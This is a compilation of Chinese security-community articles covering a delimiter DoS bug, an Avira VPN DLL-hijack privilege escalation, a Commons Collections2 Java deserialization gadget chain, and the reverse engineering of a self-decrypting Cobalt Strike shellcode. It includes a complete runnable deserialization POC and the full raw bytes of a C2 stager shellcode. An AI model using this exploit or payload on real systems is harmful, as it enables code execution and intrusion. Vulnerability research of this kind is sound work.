这种注入虽然可控的概率很小，但是依旧是个 SQ L 注入漏洞，而且是一个比较经典的由于定界符问题引起的注入
## 4、DOS 攻击
这个实际案例（CVE-2008-5185）是由于定界符的问题没有关闭标签，导致无限循环，形成了拒绝服务攻击。看核心代码：
function parse_code () {
...
$code = str_replace("\r\n", "\n", $this->source);
$code = str_replace("\r", "\n", $code);
// Add spaces for regular expression matching and line numbers
$code = "\n" . $code . "\n";
...
if ($this->strict_mode) {
// Break the source into bits. Each bit will be a portion of the code
// within script delimiters - for example, HTML between < and >
$parts = array(0 => array(0 => '', 1 => ''));
$k = 0;
for ($i = 0; $i < $length; ++$i) {
foreach ($this->language_data['SCRIPT_DELIMITERS'] as $delimiters) {
foreach ($delimiters as $open => $close) {
// Get the next little bit for this opening string
$open_strlen = strlen($open);
$check = substr($code, $i, $open_strlen);
// If it matches...
if ($check == $open) {
// We start a new block with the highlightable
// code in it
++$k;
$parts[$k][0] = $open;
$close_i = strpos($code, $close, $i + $open_strlen) + strlen($close);
if ($close_i === false) {
$close_i = $length - 1;
}
$parts[$k][1] = substr($code, $i, $close_i - $i);
$i = $close_i - 1;
++$k;
$parts[$k][0] = '';
$parts[$k][1] = '';
// No point going around again...
continue 3;
}
}
}
// only non-highlightable text reaches this point
$parts[$k][1] .= $code[$i];
}
}
...
主要从循环开始看，`$this->language_data['SCRIPT_DELIMITERS']`是一个定义开始符（如：`<`）和结束符（如：`>`）的数组，然后把这些符号分配给`$open`和`$close`，然后取代码块第一个字符，查找是否有开始符，如果有，进入判断，看这一句：
$close_i = strpos($code, $close, $i + $open_strlen) + strlen($close);
`$close`为结束符，如果在代码块中没有查到结束符，那么最终`$close_i`的值为 1，传到下方的：`$i = $close_i -1;`时候，`$i`的值为 0，循环再次从头开始，形成无限循环，导致拒绝服务。
## 0x04 总结
其实除了上述实例外，定界符还可能导致代码执行漏洞（CVE-2007-5178），但是由于时间比较久远，找不到源码，故不分析了。另外，非严格意义上比如说
DOM 型的 XSS、CRLF 注入等等也算是定界符漏洞的范围，以上是个人理解，如有别的技巧，欢迎讨论交流
## 0x05 参考
<https://www.codeleading.com/article/8787703343/>
<https://owasp.org/www-community/attacks/Parameter_Delimiter>
<https://www.djangoproject.com/weblog/2020/feb/03/security-releases/>
<https://xz.aliyun.com/t/7218>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5185>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1350> | 社区文章 |
# 对Avira VPN权限提升漏洞的分析及存疑
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 逻辑漏洞及分析方法
区别于常规的内存型漏洞，逻辑漏洞通常是指通过滥用系统机制，歪曲程序设计者意图，实现设计者意料之外目的的严重的软件缺陷。逻辑漏洞通常源于程序设计逻辑的不完备、验证的的不严格或者是由于系统测试的不充分而导致的。
关注逻辑漏洞一方面是这种类型的漏洞广泛存在，满足一定的条件时漏洞利用非常简单、稳定；另一方面也是因为由于软件安全性的增强、各种内存防护措施的加入使得内存性漏洞的发现、利用都很困难。因此，目前逻辑漏洞的挖掘和利用越来越引起人们的注意。
逻辑漏洞通常都与系统资源操作权限管理上的缺陷有关。常见的逻辑挖掘模型是通过研究目标与系统交互的接口与方法（也就是通常所说的攻击界面），筛查对这些接口的访问权限的分配及管理是否存在安全缺陷，结合存在问题的上下文环境研究漏洞的利用方法。形成了逻辑类漏洞挖掘的基本流程和挖掘模型。
目前，已经有一些成熟的工具可用于执行系统攻击界面的查找，如[NtObjectManager](https://www.powershellgallery.com/packages/NtObjectManager)、[OleViewDotNet](https://github.com/tyranid/oleviewdotnet/releases)等。由于Powershell具有脚本编写方便灵活点，同时又能够充分利用.Net类型和COM对象特性，能简单地与各种系统交互，完成各种复杂的、自动化操作的特点，以上工具都使用PowerShell来实现。在理解windows系统内部对象管理方法的基础上，灵活应用这些挖掘工具和PoweShell提供的一些内置命令就能够方便地完成对目标系统攻击界面的查找，并且辅助研究者确定是否存在潜在的安全漏洞。
最近网上公布了[Avira VPN服务存在权限提升漏洞](https://enigma0x3.net/2020/01/15/avira-vpn-local-privilege-escalation-via-insecure-update-location/)，初略看了一些觉得文章对漏洞的成因说得很清楚，很符合逻辑漏洞的特点，研究者对漏洞的分析、利用方面也有自己的特点。但是细想来对文章部分内容也存有一定的疑惑，于是准备对这个漏洞进行一番验证。验证环境为
OS:Windows 7 6.1 Build 7601
Avira：Phant Vpn 2.28.3.20557
## 漏洞基本描述
漏洞存在的主要成因是，当Avira
VPNService启动时，会检查是否要安装升级程序。服务更新程序位于C:\ProgramData\Avira\VPN\Update目录下，而该目录可以被低权限用户写。
同时，VPNServices实现的一些反利用措施能够被绕过，从而造成攻击者通过放置一个有效的Avira可执行程序及一个恶意的dll文件到“C:\ProgramData\Avira\VPN\Update”目录下。在VPN服务执行更新的过程中，借助dll劫持实现以System权限执行代码。
在Windows各对象的访问权限中，安全研究人员通常较为关心攻击者是否拥有目标对象的写权限。NtObjectManager模块提供了用于查证目标对象访问权限的Cmdlet—GetAccessibleFile，并且还特别提供了Pid参数用于查证进程的访问权限。通常情况下，该参数可以指定一个沙箱进程或者低权限进程。如，以下命令可以列举出对Windows\System32目录下具备写权限的所有目录及文件对象。
Get-AccessibleFile \??\c:\windows\system32 -AccessRights WriteData -DirectoryAccessRights AddFile -Recurse -ProcessIds 1234
在笔者的实验环境中，新安装的Avira默认情况下VPN下并不存在Update目录。而当Update目录出现时，只有Administer/system/Service才具有对该目录的控制权限，普通用户根本无法访问。
笔者估计是Avira版本较新，补丁已经被修补的原因。网上下载的其他Avira版本及单独的Avira.VpnService安装程序，在安装过程中都会先到官方网站上下载最新的Avira.VpnService，从而使得复现这个漏洞比较困难。
## 关于漏洞查证的基本步骤
逆向Avira.VpnService时，发现该程序是使用解释型语言编写的，使用Reflector或者IL
5.0可以得到很好的反编译效果。在IL中选择使用C#语言进行反编译，可以得到可读性非常好的源代码，稍微具备C#的知识都能完成该代码的阅读与分析。
当Phantom VPN Service启动的时候，首先会对检查当前是否存在更新文件，通常更新文件存放在C:\ProgramData
目录下。执行文件检查的函数是VPNUpdater.UpdateProduct()，该函数最终会调用“Updater.UpdateToNewPackageIfValid()”处理与升级相关的逻辑。
首先调用Updater.CheckForDownloadedUpdatePackage()对升级文件进行检查，检查是否在update目录下存在一个名为AviraVPNInstaller.exe的升级文件，然后再检查该文件是否已经完成安装。
如果更新程序的版本大于“Avira.VPNService.exe”的版本，那么说明文件没有被安装，要执行安装过程。否则说明无需安装，直接删除下载的安装程序包。
如果升级文件存在且还未被安装，那么服务将执行升级文件夹锁闭过程，使得低权限用户不具有对该目录的写权限（确保在升级前不被修改）。函数“Updater.IsUpdateFolderAccessRestricted()”首先检查目录的所有者是否为如下三个用户NT
AUTHORITY\SYSTEM, NT AUTHORITY\SERVICE或者 Administrators之一（以下称三个特定用户）。
如果目录的所有者不是三个特定用户之一（NT AUTHORITY\SYSTEM、NT
AUTHORITY\SERVICE、Administrators），AcceptedSIDS.Any返回False，最终导致IsUpdateFolderAccessRestricted返回False。随后程序流程调用RestoreUpdateFolder()函数。
RestoreUpdateFolder()函数的主要流程就是删除Update目录，调用CreateUpdateFolder重新创建该目录并设置该目录的访问权限信息。
SetAccessRulesForUpdateFolder函数先删除创建该目录时继承下来的原有的访问控制规则，然后为上面提到的三个用户添加到控制规则中。（这一点似乎与原文提到的，低权限用户拥有对该目录的读写权限有冲突。目录创建时已经删除了其他用户的DACL，而仅添加三个特定用户的DACL，为什么低权限用户还能访问该目录）
继续IsUpdateFolderAccessRestricted函数流程。
From
…in循环逐一检查目录DACL列表的每一条规则，查看该目录的DACL列表中是否存在除以上三个特定用户之外的DACL规则。如果存在返回Flase，否则返回True。（也就是说目录只能由以上三个特定用户控制目录内容）。
## 访问控制规则绕过方法
按照原文的说明，对update目录属主的检查可以使用向目录“C:\ProgramData\Avira\Update”
移动特定属性的文件来绕过。Logfiles目录的属主为SYSTEM用户，且低权限用户具有完成的访问控制权限，在同一个文件卷下移动文件或目录可以保持相同的属性。那么先将恶意文件放置在Logfiles目录中再移动到Update目录下就可以实现对文件属主检查的绕过。
使用Get-Acl查看目录C:\Programdata\Avira\Launcher\Logfiles的访问权限如下：
但是，在实际验证过程中发现执行Move-item操作时会发生错误。原因还是目录C:\ProgramData\Avira\Update被设置为只有三个特定用户具备访问控制，低权限用户无法实现对该目录的写操作。
接下来还要设置Update目录的DACL属性。
执行以上命令后即完整设置了对象的安全访问属性。因为SDDL的内容可读性较差，可以使用以下操作查看一下权限设置的具体内容。
可见，实现绕过的核心还是低权限用户对Update目录的读写能力。
## 文件完整性检查绕过
验证文件签名的函数是IsUpdatePackageAuthentic。函数首先检验文件是否具有有效的数字签名，在检验是否经过Avira的签名。如果文件没有被Avira签名或者签名信息错误，升级操作将中止。
绕过方法签名验证的方法是寻找一个文件版本大于Avira.VPNService.exe且已经经过Avira签名的文件。在这里作者选择了CefSharp.BrowserSubprocess.exe，该程序版本信息为“65.0.0.0”。
查看Avira.VPN的版本情况，有如下信息：
因此使用CefSharp.BrowserSubprocess.exe程序作为宿主能够有效绕过Avira的完成性校验。需要说明的是，CefSharp.BrowserSubprocess.exe程序在启动时会加载当前目录下名为version.dll的文件。这种情况在自研软件中是较为常见的情况，因为开发者通常会编写一些dll供自己使用。
按照作者的说明，将CefSharp.BrowserSubprocess.exe及恶意version.dll文件拷贝到C:\Programdata\Avira\Launcher\Logfiles目录中，并将CefSharp.BrowserSubprocess.exe更名为AviraVPNInstaller.exe，然后再移动到Update目录下。执行以上操作后就可以绕过Avira的安全防护检查，当执行更新操作时就会加载恶意version.dll文件。
## 后记
在实际验证过程中，由于C:\ProgramData\Avira\VPN\
Update目录的访问权限问题，无法在本地实际验证漏洞利用的全部过程。也发推向作者咨询过，但没有回音。发此除讨论逻辑漏洞的挖掘、分析方法，同时也希望大家能一起讨论。
其次，作者对于一些验证措施的绕过也具有一定的借鉴意义。 | 社区文章 |
# Java安全之Commons Collections2分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前面分析了CC1的利用链，但是发现在CC1的利用链中是有版本的限制的。在JDK1.8
8u71版本以后，对`AnnotationInvocationHandler`的`readobject`进行了改写。导致高版本中利用链无法使用。
这就有了其他的利用链，在CC2链里面并不是使用 `AnnotationInvocationHandler`来构造，而是使用
`javassist`和`PriorityQueue`来构造利用链。
CC2链中使用的是`commons-collections-4.0`版本，但是CC1在`commons-collections-4.0`版本中其实能使用，但是`commons-collections-4.0`版本删除了`lazyMap`的`decode`方法，这时候我们可以使用`lazyMap`方法来代替。但是这里产生了一个疑问，为什么CC2链中使用`commons-collections-4.0`3.2.1-3.1版本不能去使用，使用的是`commons-collections-4.0`4.0的版本？在中间查阅了一些资料，发现在3.1-3.2.1版本中`TransformingComparator`并没有去实现`Serializable`接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。
下面我把利用链给贴上。
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
下面就来学习一下需要用到的基础知识。
关于`javassist`上篇文章已经讲过了，可以参考该篇文章：[Java安全之Javassist动态编程](https://www.cnblogs.com/nice0e3/p/13811335.html)
## 0x01 前置知识
### PriorityQueue
#### 构造方法:
PriorityQueue()
使用默认的初始容量（11）创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
#### 常见方法：
add(E e) 将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器；如果此队列根据其元素的自然顺序进行排序，则返回 null
contains(Object o) 如果此队列包含指定的元素，则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头；如果此队列为空，则返回 null。
poll() 获取并移除此队列的头，如果此队列为空，则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例（如果存在）。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。
#### 代码示例：
public static void main(String[] args) {
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}
结果：
1
2
### getDeclaredField
getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段，也就是成员变量。
该方法返回的是一个Field对象。
### Field
#### 常用方法：
get 返回该所表示的字段的值 Field ，指定的对象上。
set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值。
### TransformingComparator
`TransformingComparator`是一个修饰器，和CC1中的`ChainedTransformer`类似。
查看一下该类的构造方法
这里发现个有意思的地方，`compare`方法会去调用`transformer`的`transform`方法，嗅到了一丝丝CC1的味道。
## 0x02 POC分析
package com.test;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化，设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组，内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
先来看第一段代码：
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
我在这里划分了几个部分，这一段代码的意思可以简单理解为一句话，创建动态一个类，设置父类添加命令执行内容。
这里首先抛出一个疑问，上面的代码在前面，添加了`AbstractTranslet`所在的搜索路径，将`AbstractTranslet`设置为使用动态新建类的父类，那么这里为什么需要设置AbstractTranslet为新建类的父类呢？这里先不做解答，后面分析poc的时候再去讲。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
第二部分代码，反射获取`_bytecodes`的值，设置为转换后的`payload`的字节码。`_name`也是一样的方式设置为test。
那么为什么需要这样设置呢？为什么需要设置`_bytecodes`的值为`paylaod`的字节码?这是抛出的第二个疑问。
这里先来为第二个疑问做一个解答。
来看看`TemplatesImpl`的`_bytecodes`被调用的地方
经过了`load.defineclass`方法返回了_class。在getTransletInstance()方法里面调用了__class.newInstance()方法。也就是说对我们传入的payload进行了实例化。这就是为什么使用的是`templatesImpl`类而不是其他类来构造的原因。
而且看到他这里是强转为`AbstractTranslet`类类型。这也是第一个疑问中为什么要继承`AbstractTranslet`为父类的原因。
那么就需要去寻找调用`getTransletInstance`的地方。在`templatesImpl`的`newTransformer`方法中其实会调用到`getTransletInstance`方法。
这时候就要考虑到了`newTransformer`怎么去调用了，POC中给出的解决方案是使用`InvokerTransformer`的反射去调用。
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
这又使用到了`TransformingComparator`是为什么呢？其实在前置知识的地方说过。`TransformingComparator`的`compare`方法会去调用传入参数的`transform`方法。
而关于`compare`的办法就需要用到`PriorityQueue`来实现了。
查看对应的POC代码
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
`siftDownUsingComparator`方法会调用到`comparator`的`compare`。
`siftDownUsingComparator`会在`siftDown`方法进行调用
`siftDown`会在`heapify`调用，而`heapify`会在`readobject`复写点被调用。
下面再来看POC中的最后一段代码
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
设置queue.queue为Object[]数组，内容为两个内置恶意代码的`TemplatesImpl`实例实例化对象。这样调用`heapify`方法里面的时候就会进行传参进去。
到这里POC为何如此构造已经是比较清楚了，但是对于完整的一个链完整的执行流程却不是很清楚。有必要调试一遍。刚刚的分析其实也是逆向的去分析。
## 0x03 POC调试
在`readobject`位置打个断点，就可以看到反序列化时，调用的是`PriorityQueue`的`readobject`,而这个`readobject`方法会去调用`heapify`方法。
`heapify`会调用`siftDown`方法，并且传入`queue`，这里的`queue`是刚刚传入的构造好恶意代码的`TemplatesImpl`实例化对象。
该方法判断`comparator`不为空，就会去调用`siftDownUsingComparator`,这的`comparator`是被`TransformingComparator`修饰过的`InvokerTransformer`实例化对象。
跟进到`siftDownUsingComparator`方法里面，发现会方法会去调用`comparator`的`compare`,因为我们这里的`compare`是被`TransformingComparator`修饰过的`InvokerTransformer`实例化对象。所以这里调用的就是`TransformingComparator`的`compare`。
在这里传入的2个参数，内容为`TemplatesImpl`实例化对象。
跟进到方法里面，`this.iMethodName`内容为`newTransformer`反射调用了`newTransformer`方法。再跟进一下。
`newTransformer`会调用`getTransletInstance`方法。
再跟进一下`getTransletInstance`方法，这里会发现先判断是否为空，为空的话调用`defineTransletClasses()`进行赋值，这里是将`_bytecodes`赋值给`_class`。
`defineTransletClasses()`执行完后会跳回刚刚的地方，留意第一个if判断语句如果`_name`等于null就直接返回null，不执行下面代码。这也是前面为什么会为`_name`设置值的原因。
再来看他的下一段代码
会`_class.newInstance()`对`_class`进行实例化。执行完这一步后就会弹出一个计算器。
### 调用链
ObjectInputStream.readObject()->PriorityQueue.readObject()
->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance
->(动态创建的类)cc2.newInstance()->RCE
在最后面问题又来了，为什么`newInstance()`实例化了一个对象就会执行命令呢？
其实这就涉及到了在 `javassist`是怎么去构造的对象。
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");
在最后面问题又来了，为什么`newInstance()`实例化了一个对象就会执行命令呢？
其实这就涉及到了在 `javassist`是怎么去构造的对象。
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");
将这个类给写出来，再来查看一下具体的是怎么构造的。
看到代码后其实就已经很清楚了，`Runtime`执行命令代码是在静态代码块里面，静态代码块会在new对象的时候去执行。
## 0x04 结尾
其实个人觉得在分析利用链的时候，只是用别人写好的POC代码看他的调用步骤的话，意义并不大。分析利用链需要思考利用链的POC为什么要这样写。这也是我一直在文中一直抛出疑问的原因，这些疑问都是我一开始考虑到的东西，需要多思考。 | 社区文章 |
# 1\. 序言
先说下为什么会有这篇文章。前段时间在B站上看到一个 CS 二开的视频（该视频已下架），里面的一个功能吸引了我的注意（当时还比较小白），生成的
shellcode 是自混淆的，不同于对 shellcode 先进行加密，之后通过加载器进行解密的流程，UP主二开的 CS 生成的 shellcode
具有自解密的能力，加密后的 shellcode 与原本的 shellcode
看起来完全不同，但是加载后能够正常执行，我就好奇去问了UP主实现的思路，自然是被丑拒了。为了搞清楚他的方法，在多次观察他的视频后我发现，UP主在录制视频时将其中一个完整的
shellcode 录进了视频中，于是我把视频中的 shellcode 逐字节手敲出来，遂有了这次逆向分析。
# 2\. shellcode
4C 8D 1D 3D 00 00 00 45 33 C9 4D 8D 43 0D 4D 8B
D0 B8 AB AA AA AA 41 F7 E1 41 8B C1 41 FF C1 C1
EA 03 8D 0C 52 C1 E1 02 2B C1 42 8A 44 18 01 41
30 02 49 FF C2 41 81 F9 A0 02 00 00 72 D3 49 FF
E0 CC CC CC C2 D6 C3 9B 9F 4A B0 1D 4E DB 75 6B
46 9E 48 5F D7 C3 E8 0D 06 52 05 73 0E 5F BB BB
CA 0B E4 5C 1B 9A 23 2A 11 9E 4E F3 3E 02 31 F1
FE DB 75 6B 03 E5 2E 5C DA 9D FB 78 3C B5 31 E3
2B 35 87 13 F2 99 F4 95 23 F4 31 E3 2B C1 87 13
F2 B9 77 58 95 BE 19 58 74 11 86 44 B1 2E DC 71
89 9E C2 3C 2F B8 AA 5C DA F1 DE 78 3A F5 B2 2E
F9 B2 AF F7 9F 8D F5 DA 02 B4 14 0F 81 93 08 D7
F6 28 C2 DA 0B 14 14 19 3F 97 04 DE 80 03 DE 69
2B 1C 30 48 34 B8 A6 EF 58 0F 97 4F 2B BA 11 AC
03 FD 85 F2 F3 2F 77 58 49 92 1B 1F 23 11 86 90
ED 24 D5 69 89 9E 7A 24 36 B3 AD 5C DA 59 E5 6F
22 9A B2 2E B1 9F AD EF FA 8D F5 E6 3C B5 10 1F
81 93 3C D4 EF 2F DE 7B 89 9E 76 2A 46 11 86 7C
C9 23 C2 69 89 9E 9E 1E 27 BA 82 5C DA A5 DC 71
21 B8 10 23 CD D2 E6 FB 9F 4A B0 55 C5 93 6D 27
CD 97 E3 70 8D 03 3B 5D 1E BD 31 52 2E CE CC 1F
D2 4B B0 1D 03 50 75 26 C3 16 B6 72 D3 C1 F5 7A
07 B8 35 57 07 5D 16 DD 14 C6 B0 95 4E DB 75 26
45 1E 82 10 D6 6A F9 1E 86 9E 4C 02 5E A0 EB 10
9E 08 30 21 4E 9C 00 78 04 56 BF 9B 92 39 C5 16
08 E3 19 6B 48 D9 47 94 9E 4A B0 E2 8C 93 F6 AA
42 97 F8 CA 87 38 68 55 C5 AE 12 23 CB 83 04 D2
14 82 4F CB 06 50 AD 23 CB 9B 14 64 4C 02 3D 50
F9 93 FE 93 B9 05 8B 16 CA BD F8 96 86 93 FE B3
B9 00 8B 16 CA 4D F8 96 85 97 FE 93 B9 00 8B 16
CA 55 F8 96 85 97 FE 8B B9 00 8B 16 CA AD F8 96
81 97 FE 9B B9 00 7C 9B 9F 5A B0 5C F7 9B 75 6B
46 5D 14 DA 27 4A 80 1D 4E E8 BC 94 96 9A 4E 96
2A 4A B0 1D 06 50 AD 2A CC 87 C2 DE 15 8F 34 CF
3A C2 3C E0 8B 56 31 84 DE B4 70 95 5A DA 34 64
F0 1E 81 11 CB 43 B1 99 9C AE 9F 2E 75 1F 87 12
F3 6E 90 58 7D 1B 46 B9 75 1F 82 64 48 02 3B D5
02 52 19 4F 6E 93 F0 52 58 0E 94 3D 4E 6F 75 EB
03 E5 03 D3 14 99 F1 E2 9A 93 F0 AB 32 C4 8F 16
D2 2D F4 96 89 93 FE B8 0E 5D 0B DA 60 9C 4F CE
02 56 E9 4F F6 D6 C3 9B D6 C1 EB 25 07 50 06 2B
0F 5D B8 D3 D6 C1 53 5C 11 9A 2B 2A 1B 97 9F C6
5C 07 3B 5D 6E 32 C3 95 B9 29 82 10 DE 6E F9 1E
8E 50 BF 64 F1 C2 8B DA 14 03 AC 54 4D 13 FE 5F
D7 9F C0 6B 76 A8 4E E2 B1 19 02 00 2D B9 E6 AB
AF 64 9F 2C 63 F5 5B 5A 6C FC F2 B6 BA 6D 9F 3A
60 EB 01 1C 3E A8 AF EE E8 32 CB 63 29 B2 19 1C
46
# 3\. 逆向分析
为了对这段 shellcode 进行逆向分析，先使用一个简单的 shellcode 加载器加载这段 shellcode，然后直接拖到 x64dbg
即可，之后定位到 shellcode 的位置，开始分析。
shellcode 首先使用 lea 指令将一个地址赋值给了 r11 寄存器，之后对 r9 低位清零：
0000017B1B5C0000 | 4C:8D1D 3D000000 | lea r11,qword ptr ds:[17B1B5C0044] |
0000017B1B5C0007 | 45:33C9 | xor r9d,r9d |
之后 shellcode 使用 lea 指令将刚才的地址偏移 0xD 的地址赋值给了 r8，后又赋值给 r10 寄存器：
0000017B1B5C000A | 4D:8D43 0D | lea r8,qword ptr ds:[r11+D] |
0000017B1B5C000E | 4D:8BD0 | mov r10,r8 |
在内存窗口中看一下这段地址之间的内容，其中第一个机器码是 C2 ，和前面的三个 CC
指令应该是用来反调试的，对加解密没有具体作用，而之后的12个字节经过后面的分析会发现就是这段 shellcode 的密钥：
接下来就是解密程序：
其中 r10 寄存器中的值是在前面由 r8 寄存器传递的，而在解密程序中，r10 寄存器是 payload 的地址，由此可知 r8 寄存器实际保存的就是
payload 的地址，此处为 0x0000017B1B5C0051，通过内存窗口查看下该地址，发现密钥结束的地址就是加密的 payload 开始的地址：
通过分析之前的解密程序还发现 payload 的大小为 672 字节，发现密钥结束后的内容刚好是 672 字节：
解密得到 CS 的 payload（该 payload 为UP主自写的，并非 CS 的原生 payload）：
0000017B1B5C0051 48 8B C4 48 89 58 10 48 89 70 18 48 89 78 20 55 H.ÄH.X.H.p.H.x U
0000017B1B5C0061 41 54 41 55 41 56 41 57 48 8D 68 A1 48 81 EC B0 ATAUAVAWH.h¡H.ì°
0000017B1B5C0071 00 00 00 45 33 ED C7 45 D7 4B 65 72 6E 44 88 6D ...E3íÇE×KernD.m
0000017B1B5C0081 E3 44 88 6D D3 44 88 6D 2F 44 88 6D 17 44 88 6D ãD.mÓD.m/D.m.D.m
0000017B1B5C0091 F3 C7 45 DB 65 6C 33 32 C7 45 DF 2E 64 6C 6C C7 óÇEÛel32ÇEß.dllÇ
0000017B1B5C00A1 45 B7 57 69 6E 69 C7 45 BB 6E 65 74 2E C7 45 BF E·WiniÇE»net.ÇE¿
0000017B1B5C00B1 64 6C 6C 00 C7 45 C7 4C 6F 61 64 C7 45 CB 4C 69 dll.ÇEÇLoadÇEËLi
0000017B1B5C00C1 62 72 C7 45 CF 61 72 79 41 C7 45 1F 49 6E 74 65 brÇEÏaryAÇE.Inte
0000017B1B5C00D1 C7 45 23 72 6E 65 74 C7 45 27 52 65 61 64 C7 45 ÇE#rnetÇE'ReadÇE
0000017B1B5C00E1 2B 46 69 6C 65 C7 45 07 49 6E 74 65 C7 45 0B 72 +FileÇE.InteÇE.r
0000017B1B5C00F1 6E 65 74 C7 45 0F 4F 70 65 6E C7 45 13 55 72 6C netÇE.OpenÇE.Url
0000017B1B5C0101 41 C7 45 F7 49 6E 74 65 C7 45 FB 72 6E 65 74 C7 AÇE÷InteÇEûrnetÇ
0000017B1B5C0111 45 FF 4F 70 65 6E 66 C7 45 03 41 00 C7 45 E7 56 EÿOpenfÇE.A.ÇEçV
0000017B1B5C0121 69 72 74 C7 45 EB 75 61 6C 41 C7 45 EF 6C 6C 6F irtÇEëualAÇEïllo
0000017B1B5C0131 63 65 48 8B 04 25 60 00 00 00 48 8B 48 18 4C 8B ceH..%`...H.H.L.
0000017B1B5C0141 41 20 EB 12 49 8B 40 50 66 44 39 68 18 0F 84 4D A ë[email protected]
